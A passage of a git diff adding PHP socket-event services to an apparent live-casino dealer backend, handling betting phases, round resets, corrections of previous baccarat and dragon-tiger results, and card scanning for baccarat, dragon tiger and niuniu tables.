b/app/services/process/EndRobService.php @@ -0,0 +1,47 @@ +to(SocketSession::HOUSE_NAME)->emit('endRob',[ + 'status' => true, + 'table_id' => $tableInfo['id'], + 'round' => [ + 'boot_id' => $numberTabInfo['boot_id'], + 'boot_num' => $numberTabInfo['boot_num'], + 'number_tab_id' => $numberTabInfo['id'], + 'number_tab_number' => $numberTabInfo['number'], + 'in_checkout' => $tableInfo['in_checkout'], + 'number_tab_status' => InitTableService::numberTabStatus($numberTabInfo) + ] + ]); + }else{ + $ws->emit('endRob', ['status' => false, 'msg' => $modelRes['msg']]); + } + } +} \ No newline at end of file diff --git a/app/services/process/ResetNumberTabService.php b/app/services/process/ResetNumberTabService.php new file mode 100644 index 0000000..43a7a25 --- /dev/null +++ b/app/services/process/ResetNumberTabService.php @@ -0,0 +1,54 @@ +emit('resetNumberTab', ['status' => false, 'msg' => 'not_number_tab_data']); + return; + } + if($numberTabInfo['bet_status'] == 1 || $numberTabInfo['bet_status'] == 2 || ($numberTabInfo['bet_status'] == 0 || $numberTabInfo['rob_status'] == 1) || ($numberTabInfo['bet_status'] == 0 || $numberTabInfo['rob_status'] == 2)){ + //事务处理 + $res = NumberTab::resetNumberTab($numberTabInfo); + if (!$res){ + $ws->emit('resetNumberTab', ['status' => false, 'msg' => 'reset_number_fail']); + return; + } + $numberTabInfo['bet_status'] = 0; + $ws->to(SocketSession::HOUSE_NAME)->emit('resetNumberTab',[ + 'status' => true, + 'table_id' => $tableInfo['id'], + 'round' => [ + 'boot_id' => $numberTabInfo['boot_id'], + 'boot_num' => $numberTabInfo['boot_num'], + 'number_tab_id' => $numberTabInfo['id'], + 'number_tab_number' => $numberTabInfo['number'], + 'in_checkout' => $tableInfo['in_checkout'], + 'number_tab_status' => InitTableService::numberTabStatus($numberTabInfo) + ] + ]); + }else{ + $ws->emit('resetNumberTab', ['status' => false, 'msg' => 'reset_number_fail']); + } + } +} \ No newline at end of file diff --git a/app/services/process/StartBetService.php b/app/services/process/StartBetService.php new file mode 100644 index 0000000..db84dc4 --- /dev/null +++ b/app/services/process/StartBetService.php @@ -0,0 +1,47 @@ +to(SocketSession::HOUSE_NAME)->emit('startBet',[ + 'status' => true, + 'table_id' => $tableInfo['id'], + 'round' => [ + 'boot_id' => $numberTabInfo['boot_id'], + 'boot_num' => $numberTabInfo['boot_num'], + 'number_tab_id' => $numberTabInfo['id'], + 'number_tab_number' => $numberTabInfo['number'], + 'in_checkout' => $tableInfo['in_checkout'], + 'number_tab_status' => InitTableService::numberTabStatus($numberTabInfo) + ] + ]); + //启动倒计时(该处以后会废弃掉) + CountdownService::countdown($numberTabId,$tableInfo,$modelRes['data']); + }else{ + $ws->emit('startBet', ['status' => false, 'msg' => $modelRes['msg']]); + } + } +} \ No newline at end of file diff --git a/app/services/process/StartRobService.php b/app/services/process/StartRobService.php new file mode 100644 index 0000000..fe73588 --- /dev/null +++ b/app/services/process/StartRobService.php @@ -0,0 +1,46 @@ +to(SocketSession::HOUSE_NAME)->emit('startRob',[ + 'status' => true, + 'table_id' => $tableInfo['id'], + 'round' => [ + 'boot_id' => $numberTabInfo['boot_id'], + 'boot_num' => $numberTabInfo['boot_num'], + 'number_tab_id' => $numberTabInfo['id'], + 'number_tab_number' => $numberTabInfo['number'], + 'in_checkout' => $tableInfo['in_checkout'], + 'number_tab_status' => InitTableService::numberTabStatus($numberTabInfo) + ] + ]); + //启动倒计时(该处以后会废弃掉) + CountdownService::countdownRob($numberTabId,$tableInfo,$modelRes['data']); + }else{ + $ws->emit('startBet', ['status' => false, 'msg' => $modelRes['msg']]); + } + } +} \ No newline at end of file diff --git a/app/services/reset/ResetBaccaratService.php b/app/services/reset/ResetBaccaratService.php new file mode 100644 index 0000000..3eee4a5 --- /dev/null +++ b/app/services/reset/ResetBaccaratService.php @@ -0,0 +1,60 @@ +emit('resetBaccarat', ['status' => false, 'msg' => 'not_number_tab_data']); + return; + } + if(count($numberTabInfo) != 2){ + $ws->emit('resetBaccarat', ['status' => false, 'msg' => '上一铺数据不存在']); + return; + } + if($numberTabInfo[0]['boot_id'] != $numberTabInfo[1]['boot_id']){ + $ws->emit('resetBaccarat', ['status' => false, 'msg' => '上一铺不在同一靴']); + return; + } + + $numberTabInfo = $numberTabInfo[1]; + if($event['opening'] == $numberTabInfo['result'] && $event['pair'] == $numberTabInfo['pair'] && $event['luck_six'] == $numberTabInfo['luck_six']){ + $ws->emit('resetBaccarat', ['status' => false, 'msg' => '结果一样']); + return; + } + $res = NumberTab::resetBaccarat($event,$numberTabInfo,$tableInfo); + if (!$res){ + $ws->emit('resetBaccarat', ['status' => false, 'msg' => '修改上一局结果失败']); + return; + } + + $ws->to(SocketSession::HOUSE_NAME)->emit('resetBaccarat',[ + 'status' => true, + 'table_id' => $tableInfo['id'], + 'round' => [ + 'previous_number_tab_id' => $numberTabInfo['id'] + ] + ]); + } +} \ No newline at end of file diff --git a/app/services/reset/ResetDtService.php b/app/services/reset/ResetDtService.php new file mode 100644 index 0000000..761cf6a --- /dev/null +++ b/app/services/reset/ResetDtService.php @@ -0,0 +1,60 @@ +emit('resetDt', ['status' => false, 'msg' => 'not_number_tab_data']); + return; + } + if(count($numberTabInfo) != 2){ + $ws->emit('resetDt', ['status' => false, 'msg' => '上一铺数据不存在']); + return; + } + if($numberTabInfo[0]['boot_id'] != $numberTabInfo[1]['boot_id']){ + $ws->emit('resetDt', ['status' => false, 'msg' => '上一铺不在同一靴']); + return; + } + + $numberTabInfo = $numberTabInfo[1]; + if($event['opening'] == $numberTabInfo['result']){ + $ws->emit('resetDt', ['status' => false, 'msg' => '结果一样']); + return; + } + $res = NumberTab::resetDt($event,$numberTabInfo,$tableInfo); + if (!$res){ + $ws->emit('resetDt', ['status' => false, 'msg' => '修改上一局结果失败']); + return; + } + + $ws->to(SocketSession::HOUSE_NAME)->emit('resetDt',[ + 'status' => true, + 'table_id' => $tableInfo['id'], + 'round' => [ + 'previous_number_tab_id' => $numberTabInfo['id'] + ] + ]); + } +} \ No newline at end of file diff --git a/app/services/scan/ChangeNnService.php b/app/services/scan/ChangeNnService.php new file mode 100644 index 0000000..24174d9 --- /dev/null +++ b/app/services/scan/ChangeNnService.php @@ -0,0 +1,277 @@ + false, 'msg' => 'CardPosition Unable Distinguish']; + $card = intval($event['card']); + $round = [ + 'card' => $card, + 'number' => CardPosition::interchangeCard($card), + 'boot_id' => intval($numberTabInfo['boot_id']), + 'boot_num' => intval($numberTabInfo['boot_num']), + 'number_tab_id' => intval($numberTabInfo['id']), + 'number_tab_number' => intval($numberTabInfo['number']) + ]; + if (!$cardInfo){ + // 没有牌数据,创建并保存 + $cardInfo = ['card_first' => $card]; + $cardInfo['player_1_card_1'] = 0; + $cardInfo['player_1_card_2'] = 0; + $cardInfo['player_1_card_3'] = 0; + $cardInfo['player_1_card_4'] = 0; + $cardInfo['player_1_card_5'] = 0; + $cardInfo['player_2_card_1'] = 0; + $cardInfo['player_2_card_2'] = 0; + $cardInfo['player_2_card_3'] = 0; + $cardInfo['player_2_card_4'] = 0; + $cardInfo['player_2_card_5'] = 0; + $cardInfo['player_3_card_1'] = 0; + $cardInfo['player_3_card_2'] = 0; + $cardInfo['player_3_card_3'] = 0; + $cardInfo['player_3_card_4'] = 0; + $cardInfo['player_3_card_5'] = 0; + $cardInfo['banker_card_1'] = 0; + $cardInfo['banker_card_2'] = 0; + $cardInfo['banker_card_3'] = 0; + $cardInfo['banker_card_4'] = 0; + $cardInfo['banker_card_5'] = 0; + $positionFirst = CardPositionNn::nnPosition($card); + $cardInfo['position_first'] = $positionFirst; + NumberTab::where(['id' => $numberTabInfo['id']])->update(['position_first' => $positionFirst]); + RedisUtil::saveCard($numberTabInfo['id'],$cardInfo); + $round['tid'] = $tableInfo['id']; + $round['number_tab_id'] = $numberTabInfo['id']; + $round['position'] = 0; + $round['order_num'] = 0; + $round['result'] = ''; + $round['card_info'] = $cardInfo; + if ($numberTabInfo['bet_status'] == 2) { + $round['is_scan'] = true; + } else { + $round['is_scan'] = false; + } + return ['status' => true, 'msg' => 'Scan Success', 'data' => $round]; + } + // 判断是否已经存在过相同牌 + $beforeCard = $cardInfo; + //unset($beforeCard['card_first']); + unset($beforeCard['position_first']); + if(in_array($card,$beforeCard)) return ['status' => false, 'msg' => 'Card Exists']; + $cardCountValues = array_count_values($beforeCard); + // 获取当前定位 + if (isset($cardCountValues[0])){ + $positionNum = 20 - intval($cardCountValues[0]) + 1; + } else { + $positionNum = 20; + } + $player1Card[0] = $cardInfo['player_1_card_1']; + $player1Card[1] = $cardInfo['player_1_card_2']; + $player1Card[2] = $cardInfo['player_1_card_3']; + $player1Card[3] = $cardInfo['player_1_card_4']; + $player2Card[0] = $cardInfo['player_2_card_1']; + $player2Card[1] = $cardInfo['player_2_card_2']; + $player2Card[2] = $cardInfo['player_2_card_3']; + $player2Card[3] = $cardInfo['player_2_card_4']; + $player3Card[0] = $cardInfo['player_3_card_1']; + $player3Card[1] = $cardInfo['player_3_card_2']; + $player3Card[2] = $cardInfo['player_3_card_3']; + $player3Card[3] = $cardInfo['player_3_card_4']; + $bankerCard[0] = $cardInfo['banker_card_1']; + $bankerCard[1] = $cardInfo['banker_card_2']; + $bankerCard[2] = $cardInfo['banker_card_3']; + $bankerCard[3] = $cardInfo['banker_card_4']; + $resultWord = ''; + + $order = CardPositionNn::nnOrder($cardInfo['position_first']); + $orderPosition = $positionNum - 1; + $position = $order[$orderPosition]; + $orderNumArr = CardPositionNn::nnOrderNum($cardInfo['position_first']); + $orderNum = $orderNumArr[$orderPosition]; + $cardInfo[$position] = $card; + if($positionNum >= 17 && $positionNum <= 20){ + if($orderNum > 10 && $orderNum < 20){ + $player1Card[4] = $card; + $player1Result = CardPositionNn::JudgeCowCow($player1Card); + $resultWord = $player1Result['word']; + } + if($orderNum > 20 && $orderNum < 30){ + $player2Card[4] = $card; + $player2Result = CardPositionNn::JudgeCowCow($player2Card); + $resultWord = $player2Result['word']; + } + if($orderNum > 30 && $orderNum < 40){ + $player3Card[4] = $card; + $player3Result = CardPositionNn::JudgeCowCow($player3Card); + $resultWord = $player3Result['word']; + } + if($orderNum > 40){ + $bankerCard[4] = $card; + $bankerResult = CardPositionNn::JudgeCowCow($bankerCard); + $resultWord = $bankerResult['word']; + } + } + RedisUtil::saveCard($numberTabInfo['id'],$cardInfo); + $round['tid'] = $tableInfo['id']; + $round['number_tab_id'] = $numberTabInfo['id']; + $round['position'] = $positionNum; + $round['order_num'] = $orderNum; + $round['result'] = $resultWord; + $round['card_info'] = $cardInfo; + if ($numberTabInfo['bet_status'] == 2) { + $round['is_scan'] = true; + } else { + $round['is_scan'] = false; + } + return ['status' => true, 'msg' => 'Scan Success', 'data' => $round]; + } + + /** + * TODO NN识别处理 + * @param array $event + * @param array $tableInfo + * @return array + */ + public static function doScanNnSbChange(array $event, array $tableInfo): array + { + $checkScanRes = ScanCommonService::checkScan($event,$tableInfo); + if ($checkScanRes['status'] == false){ + return $checkScanRes; + }else{ + $numberTabInfo = $checkScanRes['numberTabInfo']; + $cardInfo = $checkScanRes['cardInfo']; + } + // 判断牌是否符合规格 + if (!isset($event['card']) || empty(intval($event['card']))) return ['status' => false, 'msg' => 'CardPosition Unable Distinguish']; + $card = intval($event['card']); + $round = [ + 'card' => $card, + 'number' => CardPosition::interchangeCard($card), + 'boot_id' => intval($numberTabInfo['boot_id']), + 'boot_num' => intval($numberTabInfo['boot_num']), + 'number_tab_id' => intval($numberTabInfo['id']), + 'number_tab_number' => intval($numberTabInfo['number']) + ]; + + // 判断是否已经存在过相同牌 + $beforeCard = $cardInfo; + //unset($beforeCard['card_first']); + unset($beforeCard['position_first']); + if(in_array($card,$beforeCard)) return ['status' => false, 'msg' => 'Card Exists']; + $cardCountValues = array_count_values($beforeCard); + // 获取当前定位 + + $positionNum = $event['position_num']; + $orderNum = 0; + $resultWord = ''; + /* + if (isset($cardCountValues[0])){ + $positionNum = 20 - intval($cardCountValues[0]) + 1; + } else { + $positionNum = 20; + } + */ + if ($positionNum > 0) { + + $player1Card[0] = $cardInfo['player_1_card_1']; + $player1Card[1] = $cardInfo['player_1_card_2']; + $player1Card[2] = $cardInfo['player_1_card_3']; + $player1Card[3] = $cardInfo['player_1_card_4']; + $player1Card[4] = $cardInfo['player_1_card_5']; + $player2Card[0] = $cardInfo['player_2_card_1']; + $player2Card[1] = $cardInfo['player_2_card_2']; + $player2Card[2] = $cardInfo['player_2_card_3']; + $player2Card[3] = $cardInfo['player_2_card_4']; + $player2Card[4] = $cardInfo['player_2_card_5']; + $player3Card[0] = $cardInfo['player_3_card_1']; + $player3Card[1] = $cardInfo['player_3_card_2']; + $player3Card[2] = $cardInfo['player_3_card_3']; + $player3Card[3] = $cardInfo['player_3_card_4']; + $player3Card[4] = $cardInfo['player_3_card_5']; + $bankerCard[0] = $cardInfo['banker_card_1']; + $bankerCard[1] = $cardInfo['banker_card_2']; + $bankerCard[2] = $cardInfo['banker_card_3']; + $bankerCard[3] = $cardInfo['banker_card_4']; + $bankerCard[4] = $cardInfo['banker_card_5']; + + $order = CardPositionNn::nnOrderSb($cardInfo['position_first']); + $orderPosition = $positionNum - 1; + $position = $order[$orderPosition]; + $orderNumArr = CardPositionNn::nnOrderNumSb($cardInfo['position_first']); + $orderNum = $orderNumArr[$orderPosition]; + $cardInfo[$position] = $card; + + $indexOfCardToBeChanged = $positionNum % 5 - 1; + if ($indexOfCardToBeChanged == -1) $indexOfCardToBeChanged = 4; + + if($orderNum > 10 && $orderNum < 20){ + $player1Card[$indexOfCardToBeChanged] = $card; + $player1Result = CardPositionNn::JudgeCowCow($player1Card); + $resultWord = $player1Result['word']; + } + if($orderNum > 20 && $orderNum < 30){ + $player2Card[$indexOfCardToBeChanged] = $card; + $player2Result = CardPositionNn::JudgeCowCow($player2Card); + $resultWord = $player2Result['word']; + } + if($orderNum > 30 && $orderNum < 40){ + $player3Card[$indexOfCardToBeChanged] = $card; + $player3Result = CardPositionNn::JudgeCowCow($player3Card); + $resultWord = $player3Result['word']; + } + if($orderNum > 40){ + $bankerCard[$indexOfCardToBeChanged] = $card; + $bankerResult = CardPositionNn::JudgeCowCow($bankerCard); + $resultWord = $bankerResult['word']; + } + + } else { + $positionFirst = CardPositionNn::nnPosition($card); + $cardInfo['card_first'] = $card; + $cardInfo['position_first'] = $positionFirst; + } + + + RedisUtil::saveCard($numberTabInfo['id'],$cardInfo); + $round['tid'] = $tableInfo['id']; + $round['number_tab_id'] = $numberTabInfo['id']; + $round['position'] = $positionNum; + $round['order_num'] = $orderNum; + $round['result'] = $resultWord; + $round['card_info'] = $cardInfo; + if ($numberTabInfo['bet_status'] == 2) { + $round['is_scan'] = true; + } else { + $round['is_scan'] = false; + } + return ['status' => true, 'msg' => 'Scan Success', 'data' => $round]; + } +} \ No newline at end of file diff --git a/app/services/scan/ScanBaccaratService.php b/app/services/scan/ScanBaccaratService.php new file mode 100644 index 0000000..8f2d4a5 --- /dev/null +++ b/app/services/scan/ScanBaccaratService.php @@ -0,0 +1,171 @@ + false, 'msg' => 'CardPosition Unable Distinguish']; + $card = CardPosition::interchangeCard($event['card']); + if (!$card) return ['status' => false, 'msg' => 'CardPosition Unable Distinguish']; + $position = CardPosition::interchangePosition($event['position']); + if (!$position) return ['status' => false, 'msg' => 'Position Error']; + if (isset($cardInfo[$position]) && $cardInfo[$position] > 0 && $cardInfo[$position] != $event['card']) { + if (!(isset($event['change']) && $event['change'] == 1)) { + return ['status' => false, 'msg' => 'Already Exists']; + } + + } + + //判断接受牌的先后顺序 + if($event['position'] == 11 || $event['position'] == 12 || $event['position'] == 21 || $event['position'] == 22){ + $returnPosition = intval($event['position']); + $cardInfo[$position] = intval($event['card']); + $res = RedisUtil::saveCardPosition($numberTabInfo['id'],$returnPosition,intval($event['card'])); + if (!$res) return ['status' => false, 'msg' => 'Redis Cache Save Error']; + }else if($event['position'] == 13){ + $change = (isset($event['change']) && $event['change'] == 1)? 1 : 0; + $returnData = self::baccaratReplenish($cardInfo,$event['position'], $change); + if($returnData['status'] == true){ + if($returnData['position'] == 'banker_3'){ + $returnPosition = 23; + }else{ + $returnPosition = 13; + } + $cardInfo[$returnData['position']] = intval($event['card']); + $res = RedisUtil::saveCardPosition($numberTabInfo['id'],$returnPosition,intval($event['card'])); + if (!$res) return ['status' => false, 'msg' => 'Redis Cache Save Error']; + }else{ + return ['status' => false, 'msg' => $returnData['msg']]; + } + }else if($event['position'] == 23){ + $returnPosition = 23; + if(isset($cardInfo['player_3']) && $cardInfo['player_3'] > 0){ + $change = (isset($event['change']) && $event['change'] == 1)? 1 : 0; + $returnData = self::baccaratReplenish($cardInfo,$event['position'], $change); + if($returnData['status'] == true){ + $cardInfo[$returnData['position']] = intval($event['card']); + $res = RedisUtil::saveCardPosition($numberTabInfo['id'],$returnPosition,intval($event['card'])); + if (!$res) return ['status' => false, 'msg' => 'Redis Cache Save Error']; + }else{ + return ['status' => false, 'msg' => $returnData['msg']]; + } + }else{ + return ['status' => false, 'msg' => 'player3_is_not_cannot_scan_banker3']; + } + }else{ + return ['status' => false, 'msg' => 'position_error']; + } + $round = array( + 'tid' => intval($tableInfo['id']), + 'number_tab_id' => $numberTabInfo['id'], + 'card' => intval($event['card']), + 'number' => intval($card), + 'position' => $returnPosition, + 'boot_id' => intval($numberTabInfo['boot_id']), + 'boot_num' => intval($numberTabInfo['boot_num']), + 'number_tab_number' => intval($numberTabInfo['number']), + 'card_info' => $cardInfo + ); + if ($numberTabInfo['bet_status'] == 2) { + $round['is_scan'] = true; + } else { + $round['is_scan'] = false; + } + return ['status' => true, 'data' => $round]; + } + + /** + * TODO Baccarat开牌条件计算方法 + * @param array $cardInfo + * @param int $position + * @return array + */ + public static function baccaratReplenish(array $cardInfo, int $position, int $change = 0): array + { + if (!isset($cardInfo['banker_1']) || !isset($cardInfo['banker_2']) || !isset($cardInfo['player_1']) || !isset($cardInfo['player_2'])){ + return array('status' => false, 'msg' => 'player_banker_not_full'); + } + if($cardInfo['banker_1'] > 0 && $cardInfo['banker_2'] > 0 && $cardInfo['player_1'] > 0 && $cardInfo['player_2'] > 0){ + $player_count = (CardPosition::interchangeNumber(CardPosition::interchangeCard($cardInfo['player_1'])) + CardPosition::interchangeNumber(CardPosition::interchangeCard($cardInfo['player_2']))) % 10; + $banker_count = (CardPosition::interchangeNumber(CardPosition::interchangeCard($cardInfo['banker_1'])) + CardPosition::interchangeNumber(CardPosition::interchangeCard($cardInfo['banker_2']))) % 10; + if($position == 13){ + if(isset($cardInfo['player_3']) && $cardInfo['player_3'] > 0 && $change != 1){ + //第1张增牌已经存在,不允许更改 + return array('status' => false, 'msg' => 'fail_already_exists'); + } + if($player_count == 8 || $player_count == 9){ + //闲家8,9点,不允许增牌 + return array('status' => false, 'msg' => 'fail_player_8_9'); + } + if($banker_count == 8 || $banker_count == 9){ + //庄家8,9点,不允许增牌 + return array('status' => false, 'msg' => 'fail_banker_8_9'); + } + if($player_count == 6 || $player_count == 7){ + return self::baccaratReplenish($cardInfo,23); + } + return array('status' => true, 'position' => 'player_3', 'msg' => 'Success'); + }else if($position == 23){ + if(isset($cardInfo['banker_3']) && $cardInfo['banker_3'] > 0 && $change != 1){ + //第2张增牌已经存在,不允许更改 + return array('status' => false, 'msg' => 'fail_already_exists'); + } + if($player_count == 8 || $player_count == 9){ + //闲家8,9点,不允许增牌 + return array('status' => false, 'msg' => 'fail_player_8_9'); + } + if($banker_count == 8 || $banker_count == 9){ + //庄家8,9点,不允许增牌 + return array('status' => false, 'msg' => 'fail_banker_8_9'); + } + if(isset($cardInfo['player_3']) && $cardInfo['player_3'] > 0){ + //闲已经补牌 + $player_3_count = (CardPosition::interchangeNumber(CardPosition::interchangeCard($cardInfo['player_3']))) % 10; + if($banker_count < 3 || ($banker_count == 3 && in_array($player_3_count,array(1,2,3,4,5,6,7,9,0))) || ($banker_count == 4 && in_array($player_3_count,array(2,3,4,5,6,7))) || ($banker_count == 5 && in_array($player_3_count,array(4,5,6,7))) || ($banker_count == 6 && in_array($player_3_count,array(6,7)))){ + return array('status' => true, 'position' => 'banker_3', 'msg' => 'Success'); + }else{ + //庄家不符合补牌条件,不接受补牌数据 + return array('status' => false, 'msg' => 'banker_lby_lfx'); + } + }else{ + //闲不需要补牌 + if($banker_count < 6){ + return array('status' => true, 'position' => 'banker_3', 'msg' => 'Success'); + }else{ + //闲家不补牌,庄家点数>=6点,不接受补牌数据 + return array('status' => false, 'msg' => 'player3_is_not_banker_num_egt_6'); + } + } + }else{ + //定位错误 + return array('status' => false, 'msg' => 'position_error'); + } + }else{ + //前面牌数据未全,不接受补牌数据 + return array('status' => false, 'msg' => 'player_banker_not_full'); + } + } +} diff --git a/app/services/scan/ScanCommonService.php b/app/services/scan/ScanCommonService.php new file mode 100644 index 0000000..02ebbb5 --- /dev/null +++ b/app/services/scan/ScanCommonService.php @@ -0,0 +1,38 @@ + false, 'msg' => 'This Table Is Not Scan']; + if (!isset($event['number_tab_id'])) return ['status' => false, 'msg' => 'Not NumberTabId']; + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + if (!$numberTabInfo) return ['status' => false, 'msg' => 'NumberTabId Error']; + if ($numberTabInfo['bet_status'] != 2) return ['status' => false, 'msg' => 'BetStatus No 2']; + //判断redis是否存在Card数据,如果不存在则创建 + if ($tableInfo['game_id'] == 1 || $tableInfo['game_id'] == 2){ + $cardInfo = RedisUtil::getCardPosition($numberTabInfo['id']); + } else { + $cardInfo = RedisUtil::getCard($numberTabInfo['id']); + } + return ['status' => true, 'numberTabInfo' => $numberTabInfo, 'cardInfo' => $cardInfo]; + } +} \ No newline at end of file diff --git a/app/services/scan/ScanDtService.php b/app/services/scan/ScanDtService.php new file mode 100644 index 0000000..cd6fd3c --- /dev/null +++ b/app/services/scan/ScanDtService.php @@ -0,0 +1,57 @@ + false, 'msg' => 'CardPosition Unable Distinguish']; + $card = CardPosition::interchangeCard($event['card']); + if (!$card) return ['status' => false, 'msg' => 'CardPosition Unable Distinguish']; + $position = CardPosition::interchangePosition($event['position']); + if (!$position) return ['status' => false, 'msg' => 'Position Error']; + + $cardInfo[$position] = intval($event['card']); + RedisUtil::saveCardPosition($numberTabInfo['id'],intval($event['position']),intval($event['card'])); + $round = array( + 'tid' => intval($tableInfo['id']), + 'number_tab_id' => $numberTabInfo['id'], + 'card' => intval($event['card']), + 'number' => $card, + 'position' => intval($event['position']), + 'boot_id' => intval($numberTabInfo['boot_id']), + 'boot_num' => intval($numberTabInfo['boot_num']), + 'number_tab_number' => intval($numberTabInfo['number']), + 'card_info' => $cardInfo + ); + if ($numberTabInfo['bet_status'] == 2) { + $round['is_scan'] = true; + } else { + $round['is_scan'] = false; + } + return ['status' => true, 'data' => $round]; + } +} \ No newline at end of file diff --git a/app/services/scan/ScanNnService.php b/app/services/scan/ScanNnService.php new file mode 100644 index 0000000..690b1e7 --- /dev/null +++ b/app/services/scan/ScanNnService.php @@ -0,0 +1,329 @@ + false, 'msg' => 'CardPosition Unable Distinguish']; + $card = intval($event['card']); + $round = [ + 'card' => $card, + 'number' => CardPosition::interchangeCard($card), + 'boot_id' => intval($numberTabInfo['boot_id']), + 'boot_num' => intval($numberTabInfo['boot_num']), + 'number_tab_id' => intval($numberTabInfo['id']), + 'number_tab_number' => intval($numberTabInfo['number']) + ]; + if (!$cardInfo){ + // 没有牌数据,创建并保存 + $cardInfo = ['card_first' => $card]; + $cardInfo['player_1_card_1'] = 0; + $cardInfo['player_1_card_2'] = 0; + $cardInfo['player_1_card_3'] = 0; + $cardInfo['player_1_card_4'] = 0; + $cardInfo['player_1_card_5'] = 0; + $cardInfo['player_2_card_1'] = 0; + $cardInfo['player_2_card_2'] = 0; + $cardInfo['player_2_card_3'] = 0; + $cardInfo['player_2_card_4'] = 0; + $cardInfo['player_2_card_5'] = 0; + $cardInfo['player_3_card_1'] = 0; + $cardInfo['player_3_card_2'] = 0; + $cardInfo['player_3_card_3'] = 0; + $cardInfo['player_3_card_4'] = 0; + $cardInfo['player_3_card_5'] = 0; + $cardInfo['banker_card_1'] = 0; + $cardInfo['banker_card_2'] = 0; + $cardInfo['banker_card_3'] = 0; + $cardInfo['banker_card_4'] = 0; + $cardInfo['banker_card_5'] = 0; + $positionFirst = CardPositionNn::nnPosition($card); + $cardInfo['position_first'] = $positionFirst; + NumberTab::where(['id' => $numberTabInfo['id']])->update(['position_first' => $positionFirst]); + RedisUtil::saveCard($numberTabInfo['id'],$cardInfo); + $round['tid'] = $tableInfo['id']; + $round['number_tab_id'] = $numberTabInfo['id']; + $round['position'] = 0; + $round['order_num'] = 0; + $round['result'] = ''; + $round['card_info'] = $cardInfo; + if ($numberTabInfo['bet_status'] == 2) { + $round['is_scan'] = true; + } else { + $round['is_scan'] = false; + } + return ['status' => true, 'msg' => 'Scan Success', 'data' => $round]; + } + // 判断是否已经存在过相同牌 + $beforeCard = $cardInfo; + //unset($beforeCard['card_first']); + unset($beforeCard['position_first']); + if(in_array($card,$beforeCard)) return ['status' => false, 'msg' => 'Card Exists']; + $cardCountValues = array_count_values($beforeCard); + // 获取当前定位 + if (isset($cardCountValues[0])){ + $positionNum = 20 - intval($cardCountValues[0]) + 1; + } else { + $positionNum = 20; + } + $player1Card[0] = $cardInfo['player_1_card_1']; + $player1Card[1] = $cardInfo['player_1_card_2']; + $player1Card[2] = $cardInfo['player_1_card_3']; + $player1Card[3] = $cardInfo['player_1_card_4']; + $player2Card[0] = $cardInfo['player_2_card_1']; + $player2Card[1] = $cardInfo['player_2_card_2']; + $player2Card[2] = $cardInfo['player_2_card_3']; + $player2Card[3] = $cardInfo['player_2_card_4']; + $player3Card[0] = $cardInfo['player_3_card_1']; + $player3Card[1] = $cardInfo['player_3_card_2']; + $player3Card[2] = $cardInfo['player_3_card_3']; + $player3Card[3] = $cardInfo['player_3_card_4']; + $bankerCard[0] = $cardInfo['banker_card_1']; + $bankerCard[1] = $cardInfo['banker_card_2']; + $bankerCard[2] = $cardInfo['banker_card_3']; + $bankerCard[3] = $cardInfo['banker_card_4']; + $resultWord = ''; + + $order = CardPositionNn::nnOrder($cardInfo['position_first']); + $orderPosition = $positionNum - 1; + $position = $order[$orderPosition]; + $orderNumArr = CardPositionNn::nnOrderNum($cardInfo['position_first']); + $orderNum = $orderNumArr[$orderPosition]; + $cardInfo[$position] = $card; + if($positionNum >= 17 && $positionNum <= 20){ + if($orderNum > 10 && $orderNum < 20){ + $player1Card[4] = $card; + $player1Result = CardPositionNn::JudgeCowCow($player1Card); + $resultWord = $player1Result['word']; + } + if($orderNum > 20 && $orderNum < 30){ + $player2Card[4] = $card; + $player2Result = CardPositionNn::JudgeCowCow($player2Card); + $resultWord = $player2Result['word']; + } + if($orderNum > 30 && $orderNum < 40){ + $player3Card[4] = $card; + $player3Result = CardPositionNn::JudgeCowCow($player3Card); + $resultWord = $player3Result['word']; + } + if($orderNum > 40){ + $bankerCard[4] = $card; + $bankerResult = CardPositionNn::JudgeCowCow($bankerCard); + $resultWord = $bankerResult['word']; + } + } + RedisUtil::saveCard($numberTabInfo['id'],$cardInfo); + $round['tid'] = $tableInfo['id']; + $round['number_tab_id'] = $numberTabInfo['id']; + $round['position'] = $positionNum; + $round['order_num'] = $orderNum; + $round['result'] = $resultWord; + $round['card_info'] = $cardInfo; + if ($numberTabInfo['bet_status'] == 2) { + $round['is_scan'] = true; + } else { + $round['is_scan'] = false; + } + return ['status' => true, 'msg' => 'Scan Success', 'data' => $round]; + } + + /** + * TODO NN识别处理 + * @param array $event + * @param array $tableInfo + * @return array + */ + public static function doScanNnSb(array $event, array $tableInfo): array + { + $checkScanRes = ScanCommonService::checkScan($event,$tableInfo); + if ($checkScanRes['status'] == false){ + return $checkScanRes; + }else{ + $numberTabInfo = $checkScanRes['numberTabInfo']; + $cardInfo = $checkScanRes['cardInfo']; + } + + // 所有牌须带上位置 (与扫描不同,识别的牌,位置是固定的) + if (!isset($event['position']) || empty(intval($event['card']))) return ['status' => false, 'msg' => 'Card Position Miss. No Good.']; + + $staticPosition = intval($event['position']); + + // 判断牌是否符合规格 + if (!isset($event['card']) || empty(intval($event['card']))) return ['status' => false, 'msg' => 'CardPosition Unable Distinguish']; + + + $card = intval($event['card']); + + $round = [ + 'card' => $card, + 'number' => CardPosition::interchangeCard($card), + 'boot_id' => intval($numberTabInfo['boot_id']), + 'boot_num' => intval($numberTabInfo['boot_num']), + 'number_tab_id' => intval($numberTabInfo['id']), + 'number_tab_number' => intval($numberTabInfo['number']) + ]; + if (!$cardInfo){ + if ($staticPosition != 0) { + return ['status' => false, 'msg' => 'First Card Position Should be 0. No Good.']; + } + // 没有牌数据,创建并保存 + $cardInfo = ['card_first' => $card]; + $cardInfo['player_1_card_1'] = 0; + $cardInfo['player_1_card_2'] = 0; + $cardInfo['player_1_card_3'] = 0; + $cardInfo['player_1_card_4'] = 0; + $cardInfo['player_1_card_5'] = 0; + $cardInfo['player_2_card_1'] = 0; + $cardInfo['player_2_card_2'] = 0; + $cardInfo['player_2_card_3'] = 0; + $cardInfo['player_2_card_4'] = 0; + $cardInfo['player_2_card_5'] = 0; + $cardInfo['player_3_card_1'] = 0; + $cardInfo['player_3_card_2'] = 0; + $cardInfo['player_3_card_3'] = 0; + $cardInfo['player_3_card_4'] = 0; + $cardInfo['player_3_card_5'] = 0; + $cardInfo['banker_card_1'] = 0; + $cardInfo['banker_card_2'] = 0; + $cardInfo['banker_card_3'] = 0; + $cardInfo['banker_card_4'] = 0; + $cardInfo['banker_card_5'] = 0; + $positionFirst = CardPositionNn::nnPosition($card); + $cardInfo['position_first'] = $positionFirst; + NumberTab::where(['id' => 